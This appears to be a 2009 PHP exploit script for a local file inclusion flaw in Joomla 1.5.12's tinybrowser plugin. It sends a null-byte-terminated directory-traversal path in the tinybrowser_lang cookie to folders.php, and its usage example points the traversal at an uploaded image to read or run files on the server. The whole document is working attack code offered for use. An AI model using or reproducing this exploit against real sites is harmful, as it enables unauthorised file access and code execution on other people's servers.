. TITLE: Joomla 1.5.12 read/exec remote files AUTHOR: Nikola Petrov (vp.nikola@gmail.com) VERSION: 1.0 LICENSE: GNU General Public License Platform: Joomla 1.5.12 Vulnerabilities discovery and implementation: Nikola Petrov (vp.nikola@gmail.com) Date: 27.08.2009 */ print "\n\n#########################################################################\n"; print "# LFI discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)\n"; print "# Date: 27.08.2009\n"; print "#########################################################################\n\n"; if($argc < 4) { print "usage: php ". $argv[0] ." host path file [port] [debug]\n"; print "example: php ". $argv[0] ." localhost /j1512 ../../../../../../../../wamp/www/j1512/images/stories/duck.jpg 80 1\n"; exit(); } $Host = $argv[1]; $Path = $argv[2] . '/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/folders.php'; $File = $argv[3] . '%00'; empty($argv[4]) ? $Port = 80 : $Port = $argv[4]; empty($argv[5]) ? $Debug = 0 : $Debug = 1; function HttpSend($aHost, $aPort, $aPacket) { $Response = ""; if(!$Socket = fsockopen($aHost, $aPort)) { print "Error connecting to $aHost:$aPort\n\n"; exit(); } fputs($Socket, $aPacket); while(!feof($Socket)) $Response .= fread($Socket, 1024); fclose($Socket); return $Response; } $Packet = "GET {$Path} HTTP/1.0\r\n"; $Packet .= "Host: {$Host}\r\n"; $Packet .= "Cookie: tinybrowser_lang={$File}\r\n"; $Packet .= "Connection: close\r\n\r\n"; if($Debug) { print "Request to '$Host:$Port':\n"; print $Packet; } print HttpSend($Host, $Port, $Packet); ?>